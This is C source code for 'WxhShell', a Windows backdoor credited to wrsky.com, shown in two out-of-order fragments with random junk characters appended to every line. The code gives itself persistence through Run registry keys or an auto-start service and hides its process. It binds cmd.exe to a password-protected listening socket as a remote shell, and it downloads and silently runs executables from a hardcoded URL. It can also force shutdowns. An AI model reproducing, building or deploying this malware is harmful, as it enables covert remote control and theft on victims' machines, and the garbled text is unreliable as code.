    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f B96Q  
    if(Boot(SHUTDOWN)) mv.I.EL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V^z;^mdd  
    else { )T5h\ZO`;  
    closesocket(wsh); )JQQ4D  
    ExitThread(0);  {Yk20Zn  
    } mv?H]i`N  
    break; y7-:l u$9  
    } J\+gd%  
  // 获取shell b6Hk20+B;  
  case 's': { <M?#3&5A  
    CmdShell(wsh); mtQ{6u  
    closesocket(wsh); $jm<' 4  
    ExitThread(0); $-?5Q~  
    break; -!>ZATL<B  
  } bMZn7c  
  // 退出 |a$w;s>\  
  case 'x': { Z{4aGp*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AdW2o|Uap  
    CloseIt(wsh); rOHW  
    break; TQd FC\@f"  
    } FTnQqDuT  
  // 离开 [0ffOTy  
  case 'q': { Ju7C?)x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $ cK B+}  
    closesocket(wsh); zZc@;S#  
    WSACleanup(); Qz(T[H5%W  
    exit(1); qetP93N_*  
    break; yO;C3q  
        } ENWB|@B  
  } wV&f|JO0+  
  } doO Ap9%  
]MLLr'6?  
  // 提示信息 y6Epi|8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {dx /p-Tv  
} 0o$HC86w  
  } wv.Ul rpx.  
s]vJUC,s  
  return; 6a?$=y  
} `ab\i`g9  
Y0yO `W4  
// shell模块句柄 \seG2vw$  
int CmdShell(SOCKET sock) pb6^sA%l  
{ `vxrC&,As  
STARTUPINFO si; kqvJ&7  
ZeroMemory(&si,sizeof(si)); P"uHtHK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8H#c4%by)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j$8|ym^OX  
PROCESS_INFORMATION ProcessInfo; hAr[atu87  
char cmdline[]="cmd"; !8@rK$DB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E}' d,v#Z{  
  return 0; n~ >h4=h  
} +F~0\#d  
&<V_[Wh"  
// 自身启动模式 ;#yu"6{  
int StartFromService(void) QS [B  
{ ?hJsN  
typedef struct bjPbl2K  
{ -V u/TT0  
  DWORD ExitStatus; (d'j'U:C  
  DWORD PebBaseAddress; a5}44/%  
  DWORD AffinityMask; 9^QYuf3O  
  DWORD BasePriority; wz*A<iU  
  ULONG UniqueProcessId; #}!>iFBcH  
  ULONG InheritedFromUniqueProcessId; r d6F"W  
}   PROCESS_BASIC_INFORMATION; q= yZx)  
3']:1B  
PROCNTQSIP NtQueryInformationProcess; +8)]m<  
8f,'p}@!d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mo#0q&ZQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;*-@OLT_K  
(}FW])y  
  HANDLE             hProcess; +dgo-)kP(_  
  PROCESS_BASIC_INFORMATION pbi; ,|. *,  
,t%\0[{/B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8PoHBOxpc  
  if(NULL == hInst ) return 0; 'lN*Ys iDi  
Z cTL#OTP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c2/R]%`)9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EID)o[<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <p^*Ydx  
nGv23R(?G  
  if (!NtQueryInformationProcess) return 0; 2z.8rNwT  
" _:iK]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mS:j$$]u  
  if(!hProcess) return 0; ,_Qe}qFU  
XewXTd #x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s("Cn/ZkS  
;5D @kS^  
  CloseHandle(hProcess); i.&Kpw9;m  
XSp x''l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jom} _  
if(hProcess==NULL) return 0; GSGyF  
I mPu}  
HMODULE hMod; [%7;f|p?  
char procName[255]; NMl ?Y uEv  
unsigned long cbNeeded; m@G<ZCMZ  
FDVI>HK @  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E/~"j  
!dyxE'T2  
  CloseHandle(hProcess); pkXfsi-Nu  
#hgmUa  
if(strstr(procName,"services")) return 1; // 以服务启动 =!?[]>Dh  
< QDr,Hj  
  return 0; // 注册表启动 \!UF|mD^tG  
} jr, &=C(  
DJViy  
// 主模块 "ep`  
int StartWxhshell(LPSTR lpCmdLine) mq J0z4I}  
{ .'^6QST  
  SOCKET wsl; YPha9M$AgU  
BOOL val=TRUE; K0 O-WJ  
  int port=0; ]pOYVf *$  
  struct sockaddr_in door; C#U< k0R  
G2CZwm{/f  
  if(wscfg.ws_autoins) Install(); `1fJ:b/M  
{PODisl>\D  
port=atoi(lpCmdLine); ?W[J[cb  
j-lSFTo  
if(port<=0) port=wscfg.ws_port; &'5@azU  
t} *l?$`  
  WSADATA data; JrCf,?L^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yu`KzIU  
gp~yt0AU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v8=?HUDd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {{V ;:+62  
  door.sin_family = AF_INET; });cX$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); / h}PEu3y  
  door.sin_port = htons(port); I.^X2  
pqyWv;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aBXYri  
closesocket(wsl); xm<v"><  
return 1; zwM"`z  
} :y+B;qw  
6=ZRn gQ  
  if(listen(wsl,2) == INVALID_SOCKET) { Q`.'-iq  
closesocket(wsl); jo9J%vo  
return 1; `zdH1p^w  
} N]1V1c$G*  
  Wxhshell(wsl); T@;! yz}Pf  
  WSACleanup(); Gw ~{V  
Qg'c?[~W@  
return 0; dtB[m^$  
==%`e/~Y  
} .S~@BI(|<  
L;/9L[s,  
// 以NT服务方式启动 LP.HS'M~u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Jj2g5={  
{ 2y3?!^$  
DWORD   status = 0; O&`U5w  
  DWORD   specificError = 0xfffffff; UWQtvQ f  
f{)+-8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +7| [b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]Nnxnp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @GN(]t&3  
  serviceStatus.dwWin32ExitCode     = 0; 9{_8cpm4  
  serviceStatus.dwServiceSpecificExitCode = 0; b;S6'7Jf9  
  serviceStatus.dwCheckPoint       = 0; N]B)Fb  
  serviceStatus.dwWaitHint       = 0; VZ\O9lD  
X AQGG>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PT3>E5`Nu  
  if (hServiceStatusHandle==0) return; 2>F\&  
R'rTE  
status = GetLastError(); >%-Hj6%  
  if (status!=NO_ERROR) ,"~WkLI~\t  
{ TQ; Z.)L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /_]ltXD  
    serviceStatus.dwCheckPoint       = 0; :W~6F*A  
    serviceStatus.dwWaitHint       = 0; o^HNF+sm  
    serviceStatus.dwWin32ExitCode     = status; Z}|TW~J=  
    serviceStatus.dwServiceSpecificExitCode = specificError;  b<[jaI0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xC<=~(  
    return; 7=}6H3|&  
  } 4HM;K_G%{  
+T9Q_e*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eymi2-a<  
  serviceStatus.dwCheckPoint       = 0; ? m&IF<b  
  serviceStatus.dwWaitHint       = 0; :.Y|I[\E%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); he"L*p*H  
} O/mR9[}  
r]v&t  
// 处理NT服务事件,比如:启动、停止 &=YSM.G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yH*hL0mO  
{ ODm&&W#*  
switch(fdwControl) %B@ !  
{ Z+ixRch@-s  
case SERVICE_CONTROL_STOP: v2d<o[[C  
  serviceStatus.dwWin32ExitCode = 0; 5?Bc Y ;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]fj-`==  
  serviceStatus.dwCheckPoint   = 0; 3filAGR?  
  serviceStatus.dwWaitHint     = 0; z<hFK+j,'^  
  { Re>AsnA[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l09Fn>wa  
  } "u_i[[y  
  return; tv0Ha A  
case SERVICE_CONTROL_PAUSE: T=WNBqKo]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UH[<&v  
  break; uKv&7p@|_)  
case SERVICE_CONTROL_CONTINUE: hi!`9k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %dc3z"u  
  break; .;9jdGBf  
case SERVICE_CONTROL_INTERROGATE: GD!- qH  
  break; {;*}WPYb  
}; ]bm=LA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); </= CZy5w  
} 5y]io Jc9-  
>-M ]:=L  
// 标准应用程序主函数 #b'N}2'p#V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %,/lqcFo  
{ $_sYfU9  
jo}1u_OJ  
// 获取操作系统版本 -ey)J +?t  
OsIsNt=GetOsVer(); TjxA#D)   
GetModuleFileName(NULL,ExeFile,MAX_PATH); qe?Qeh(!X  
+Gow5-(  
  // 从命令行安装 %#u.J  
  if(strpbrk(lpCmdLine,"iI")) Install(); l;OYUq~F  
8'_ 0g[s  
  // 下载执行文件 /prYSRn8  
if(wscfg.ws_downexe) { Z0$] tS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z0-ytODI I  
  WinExec(wscfg.ws_filenam,SW_HIDE); &R,9+c  
} 1_uvoFLk  
eX"''PA  
if(!OsIsNt) { eJHp6)2  
// 如果时win9x,隐藏进程并且设置为注册表启动 6g"C#&{@  
HideProc(); >"%ob,c:#  
StartWxhshell(lpCmdLine); f8=]oa]  
} 6W&_2a7*  
else ?1peF47Z  
  if(StartFromService()) zPR8f-Uvw  
  // 以服务方式启动 %m eLW&  
  StartServiceCtrlDispatcher(DispatchTable); ,X68xk.'  
else eCWPhB 6l  
  // 普通方式启动 dQD$K|aUp  
  StartWxhshell(lpCmdLine); sHdp  
Ow@v"L;jF!  
return 0; EiWd+v,QJQ  
} $ KB  
^ q?1U?4  
^/toz).Q  
8YX)0i'  
=========================================== 3-C\2  
Ja|{1&J.  
px=]bALU  
E)W@{?.o#  
$'{=R 45Z  
_'!kuE,*1  
" GS;%zdH~  
x GH1epf  
#include <stdio.h> )*|(i]  
#include <string.h> 8md*wEjk  
#include <windows.h> &^!h}D%T/  
#include <winsock2.h> 8AL\ST51x"  
#include <winsvc.h> 6ZOy&fd,Ty  
#include <urlmon.h> 1$pb (OK  
6o=G8y  
#pragma comment (lib, "Ws2_32.lib") gl8Ib<{  
#pragma comment (lib, "urlmon.lib") Q`ME@vz  
S_ b/DO  
#define MAX_USER   100 // 最大客户端连接数 q/PNJ#<  
#define BUF_SOCK   200 // sock buffer ^A9 M;q  
#define KEY_BUFF   255 // 输入 buffer p=Y>i 'CG  
;b0NGa(k  
#define REBOOT     0   // 重启 7 ^$;  
#define SHUTDOWN   1   // 关机 Elb aFbr  
,DQjDMjrf  
#define DEF_PORT   5000 // 监听端口 z-r2!^q27  
r2\c'9uH  
#define REG_LEN     16   // 注册表键长度 -Q"hZ9  
#define SVC_LEN     80   // NT服务名长度 Fky?\ec  
D-&a n@  
// 从dll定义API ]s_8A`vm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H'DVwnn>ik  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,<` )>2 'o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )OP){/   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8e&p\%1  
Kz?#C  
// wxhshell配置信息 s{}]D{bc  
struct WSCFG { @Jn!0Y1_3  
  int ws_port;         // 监听端口 7TX2&kMoc  
  char ws_passstr[REG_LEN]; // 口令 xZ.!d.rn  
  int ws_autoins;       // 安装标记, 1=yes 0=no np9dM  
  char ws_regname[REG_LEN]; // 注册表键名 &7>zURv  
  char ws_svcname[REG_LEN]; // 服务名 56}X/u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h8{(KRa6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B&0; 4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =&nW~<- v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,Nm$i"Lg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZDt?j   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k N7Bd}  
ztll}  
}; 5B4Ssrs5W~  
p3(2?UO!  
// default Wxhshell configuration R2<s0l  
struct WSCFG wscfg={DEF_PORT, w@-M{?R  
    "xuhuanlingzhe", j;0vAf  
    1, Fc6iQ  
    "Wxhshell", 'b&yrBFD  
    "Wxhshell", zM#sOg  
            "WxhShell Service", H t(n%;<  
    "Wrsky Windows CmdShell Service", j5$GFi\kB  
    "Please Input Your Password: ", o\VUD  
  1, I/6)3 su%  
  "http://www.wrsky.com/wxhshell.exe", N2C7[z+l`  
  "Wxhshell.exe" hz:pbes  
    }; M@et6aud;K  
L%"LlS g  
// 消息定义模块 C[sh,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6gL-OJNo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T{v>-xBRy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w_tJ7pz8T  
char *msg_ws_ext="\n\rExit."; &@FhR#pUQ  
char *msg_ws_end="\n\rQuit."; pCi#9=?N  
char *msg_ws_boot="\n\rReboot..."; dT"hNHaf  
char *msg_ws_poff="\n\rShutdown..."; p4!:]0c  
char *msg_ws_down="\n\rSave to "; p'_%aVm7  
+]Zva:$#`  
char *msg_ws_err="\n\rErr!"; (V:E2WR  
char *msg_ws_ok="\n\rOK!"; X{xBYZv4  
#%0Bx3uM  
char ExeFile[MAX_PATH]; GL Mm(  
int nUser = 0; .B2]xfo"`  
HANDLE handles[MAX_USER]; 3?I;ovsM  
int OsIsNt; Pe73g%  
>$WQxbwM(  
SERVICE_STATUS       serviceStatus; NoE*/!Sr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "qz3u`[o  
rwLAW"0Qz  
// 函数声明 B;>{0 s  
int Install(void); K<`osdp=&  
int Uninstall(void); `F YjQ e"p  
int DownloadFile(char *sURL, SOCKET wsh); i:]*P  
int Boot(int flag); b;sVls  
void HideProc(void); :KJ pk:<  
int GetOsVer(void); !E8X~DJ  
int Wxhshell(SOCKET wsl); w'MGA  
void TalkWithClient(void *cs); GzXUU@p  
int CmdShell(SOCKET sock); ^!<dgBNj  
int StartFromService(void); H,3\0BKk  
int StartWxhshell(LPSTR lpCmdLine); OJ|r6  
8BOZh6BV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,l YE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W!Hm~9fz  
^&@w$  
// 数据结构和表定义 >@xrs  
SERVICE_TABLE_ENTRY DispatchTable[] = }/tf>?c  
{ #'D" 'B  
{wscfg.ws_svcname, NTServiceMain}, eV:9y  
{NULL, NULL} vX0f,y  
};  xw^R@H  
zi R5:d3   
// 自我安装 #6Fez`A  
int Install(void) 'm1N/)F  
{ B~]5$-  
  char svExeFile[MAX_PATH]; R'EUV0KX>Y  
  HKEY key; 7w,FX.=;cv  
  strcpy(svExeFile,ExeFile); DI+]D~N  
d@`M CchCB  
// 如果是win9x系统,修改注册表设为自启动 voP7"Dl[  
if(!OsIsNt) { wN1niR'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |8> 3`w!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [[PEa-992  
  RegCloseKey(key); j`^$#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IG)s^bP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;c~cet4  
  RegCloseKey(key); S#)Eom?V  
  return 0; @k[R/,#'[t  
    } F <>!kK/c  
  } B~o\+n  
} wW>zgTG  
else { ) [0T16  
f` =CpO*  
// 如果是NT以上系统,安装为系统服务 _XJ2fA )  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jK \T|vGJa  
if (schSCManager!=0) + a- 6Q ~  
{ VE+IKj!VG0  
  SC_HANDLE schService = CreateService &%})wZ+Dj  
  ( m'P1BLk  
  schSCManager, J)P$2#  
  wscfg.ws_svcname, W;bu2ym&Q  
  wscfg.ws_svcdisp, ~P~  
  SERVICE_ALL_ACCESS, ~U;rw&'H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3"o"fl  
  SERVICE_AUTO_START, s! n<}C  
  SERVICE_ERROR_NORMAL, (WJ${OW  
  svExeFile, ? A(QyaKz  
  NULL, =]:>"_jN  
  NULL, GKN%Tv:D_  
  NULL, !vG'J\*xc  
  NULL, WVVJ  
  NULL f|O{#AC  
  ); Q+g!V5'  
  if (schService!=0) b Q]/?cCYV  
  { (Qa/EkE^*w  
  CloseServiceHandle(schService); Cmc3k,t  
  CloseServiceHandle(schSCManager); foJdu+^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,9WBTH8  
  strcat(svExeFile,wscfg.ws_svcname); aW>6NDq(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bh^LIU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $<:E'^SAS  
  RegCloseKey(key); `PY>Hgb  
  return 0; [9 Ss# ~  
    } sC9&Dgkk  
  } TMY d47  
  CloseServiceHandle(schSCManager); A&nU]R8S  
} gy&[?m6M=  
} W5SJ^,d)J  
k0T?-iM  
return 1; )M)7"PC  
} cA%%IL$R  
]`Oo%$Ue  
// 自我卸载 M5xCC!  
int Uninstall(void) 2W4qBaG$=  
{ L!=QR8?@E  
  HKEY key; ~gGZmT b  
4 :U?u  
if(!OsIsNt) { BJ% eZ.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ! u:Weoz  
  RegDeleteValue(key,wscfg.ws_regname); ) $PDo 7#  
  RegCloseKey(key); ]Kr `9r),  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4~B> 9<$e>  
  RegDeleteValue(key,wscfg.ws_regname); 6R=W}q4  
  RegCloseKey(key); Q+YRf3$  
  return 0; 7b<yVP;{  
  } ULQMG'P^D  
} hWX% 66  
} _q~=~nub  
else { Nm |!#(L  
} \ZaE~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s8}@=]aA  
if (schSCManager!=0) H,b5C_D29  
{ ;VWAf;U;B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;<leKcvhQ&  
  if (schService!=0) Yb E-6|cz  
  { eut-U/3:#  
  if(DeleteService(schService)!=0) { XGl+S  
  CloseServiceHandle(schService); s0PrbL%_`  
  CloseServiceHandle(schSCManager); xD6@Qk  
  return 0; @HOBRRm`  
  } ?mwD*LN3o  
  CloseServiceHandle(schService); >uSy  
  } ;UxP Kpl  
  CloseServiceHandle(schSCManager); mya_4I m  
} }K&7%N4LZ  
} 8O38# {[S  
Y./2Ely  
return 1; "sG=wjcw^  
} }2e? ?3  
Z4lO?S5%J  
// 从指定url下载文件 rYbpih=x  
int DownloadFile(char *sURL, SOCKET wsh) dxmE3*b`  
{ ll C#1  
  HRESULT hr; uXKERzg  
char seps[]= "/"; (2=Zm@Zp f  
char *token; wYmM"60  
char *file; ={z*akn,  
char myURL[MAX_PATH]; 9T1ZL5  
char myFILE[MAX_PATH]; 6b:tyQ  
; d J1  
strcpy(myURL,sURL); IyPwP*A  
  token=strtok(myURL,seps); #E&80#Z5  
  while(token!=NULL) F F|FU<  
  { & 9<+;*/  
    file=token; AT%u%cE-  
  token=strtok(NULL,seps); Wr( y)D<y}  
  } = 17t- [  
D}mjN=Y  
GetCurrentDirectory(MAX_PATH,myFILE); "OdXY"G  
strcat(myFILE, "\\"); WS`qVL]^&  
strcat(myFILE, file); 2Tagr1L  
  send(wsh,myFILE,strlen(myFILE),0); }&[  
send(wsh,"...",3,0); i(NdGL#P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fP. 6HF_p_  
  if(hr==S_OK) zR{W?_cV  
return 0; aXoVy&x=  
else jJ5W>Q1mK$  
return 1; K|Di1)7=/  
v+X)Qmzf~  
} 6#HK'7ClL  
u4/kR  
// 系统电源模块 {o>j6RS\  
int Boot(int flag) nYX@J6!  
{ Ipf =ZD  
  HANDLE hToken; j!7{|EQFcl  
  TOKEN_PRIVILEGES tkp; ayfFVTy1d  
&8vCZN^  
  if(OsIsNt) { < Pky9o;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MZT23 [+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6Q${U7%7  
    tkp.PrivilegeCount = 1; y$_eCmq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "\3B^ e,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); egq67S  
if(flag==REBOOT) { E/%9jDTQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HxIIO[h  
  return 0; Y9&,t\ q  
} rl #p".4q  
else { o !vE~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rv|)n>m  
  return 0; ]{ntt}3G,  
} P7{gfiB  
  } orjj' +;X  
  else { id1s3b;  
if(flag==REBOOT) { ,&R/4 :I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -}KC=,]vh  
  return 0; SN1}xR$  
} Z7=`VNHc  
else { `.i!NBA'6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OUhqM VX9C  
  return 0; z}MP)|aH:  
} r(RKwr:m  
} 5) pj]S!]-  
:gep:4&u  
return 1; R5X.^u  
} XBp?w  
*q-['"f  
// win9x进程隐藏模块 d%V*|0c)  
void HideProc(void) Pc NkAo  
{ =g|IG [V  
]zWon~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3_MS.iM  
  if ( hKernel != NULL ) USM4r!x  
  { c'S,hCe*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '|Kmq5)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2AO~HxF  
    FreeLibrary(hKernel); ZHm7Isa1  
  } +O*/"]h  
K otrX  
return; g.zEn/SM  
} =9fajRFTt  
A^y|J ` k|  
// 获取操作系统版本 2C9V|[U,  
int GetOsVer(void) tX> G,hw  
{ 4<lRPsvgc  
  OSVERSIONINFO winfo; ,I%g|'2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !g(KK|`,m  
  GetVersionEx(&winfo); tavpq.0O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aD=A^ktx  
  return 1; ^]W<X"H+Z  
  else L;'"A#Pa  
  return 0; .U?'i<  
} :n.f_v}6  
,Qe?8En[  
// 客户端句柄模块 (?(zH3  
int Wxhshell(SOCKET wsl) "3)4vuX@;c  
{ |ayVjqJ*  
  SOCKET wsh; -8j+s}Q  
  struct sockaddr_in client; A.EbXo/  
  DWORD myID; /M3Y~l$  
F pa_qjL;  
  while(nUser<MAX_USER) w6{TE(]zp  
{ y6[IfcN  
  int nSize=sizeof(client); (<}&DE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (+FfB"3]  
  if(wsh==INVALID_SOCKET) return 1; JQ6zVS2SSS  
PEuIWXr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D-4f >  
if(handles[nUser]==0) b{]z w pf  
  closesocket(wsh); sU@nc!&Y@  
else 1M 781  
  nUser++; 4bw4cqY;  
  } O2f-5Y$@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ),ma_{$N  
,kF}lo)  
  return 0; 1][S#H/?  
} Gr^E+#;  
hnc@  
// 关闭 socket 0^RXGN  
void CloseIt(SOCKET wsh) zBk'{[y9L  
{ % Cv D-![0  
closesocket(wsh); 8_ tK4PwP  
nUser--; I^8"{J.Q)[  
ExitThread(0); ,~OwLWi-|X  
} .[JYj(p  
<\pfIJr$  
// 客户端请求句柄 'zGo?a  
void TalkWithClient(void *cs) 8@2OJ=`[  
{ p~,]*y:XT  
kAC&S!n  
  SOCKET wsh=(SOCKET)cs; (r D_(%o  
  char pwd[SVC_LEN]; yGPS`S  
  char cmd[KEY_BUFF]; ^]a#7/]o  
char chr[1]; }0X:F`Y-  
int i,j; "0cID3A$  
ek}a}.3 {  
  while (nUser < MAX_USER) { zOa_X~!@  
V*iH}Y?^p  
if(wscfg.ws_passstr) { LG1r]2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )Hk3A$6(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hr]h J c  
  //ZeroMemory(pwd,KEY_BUFF); nw<&3k(g}  
      i=0; iCcB@GlA  
  while(i<SVC_LEN) { }XSfst5-H  
26k LhFS  
  // 设置超时 FcYFovS  
  fd_set FdRead; L>a  
  struct timeval TimeOut; V` 1/SQX  
  FD_ZERO(&FdRead); q11>f   
  FD_SET(wsh,&FdRead); tGl;@V@Qj  
  TimeOut.tv_sec=8; MvWaB  
  TimeOut.tv_usec=0; x`dHJq`_g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FZtfh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %e(z /"M=`  
6N;wqn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -OA?BEQ=I  
  pwd=chr[0]; 0#S W!b|%  
  if(chr[0]==0xd || chr[0]==0xa) { :C65-[PSdO  
  pwd=0; A0q|J/T  
  break; `P3>S(Tgy  
  } ],J EBt  
  i++;  XoCC/  
    } /i-J&*6_  
,;Hu=;  
  // 如果是非法用户,关闭 socket =<X?sj5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .NvQm]N0.  
} g47-db"5  
de;GrPLAi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 846$x$G4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +{W>i;U  
z3K6%rb-  
while(1) { .D: Z{|.1  
h0g:@ae%&  
  ZeroMemory(cmd,KEY_BUFF); )p~BQ~eip;  
^*S)t. "  
      // 自动支持客户端 telnet标准   @g$Gti  
  j=0; JNa"8  
  while(j<KEY_BUFF) { 72Iy^Y[MX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "Za >ZRR  
  cmd[j]=chr[0]; k=B] &F  
  if(chr[0]==0xa || chr[0]==0xd) { (jFGa2{  
  cmd[j]=0; YH%'t= <m  
  break; D[mSmpjE6&  
  } oNU0 qZ5  
  j++; tdSfi<y5I  
    } Ar:*oiU  
jp"JafS/E  
  // 下载文件 L?Qg#YSd ~  
  if(strstr(cmd,"http://")) { ( |PAx (  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \CXQo4P  
  if(DownloadFile(cmd,wsh)) 3`B6w$z>(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n;$5Cq!v=  
  else  ?kZTI (  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {FIXc^m'  
  } 7_mw%|m6@  
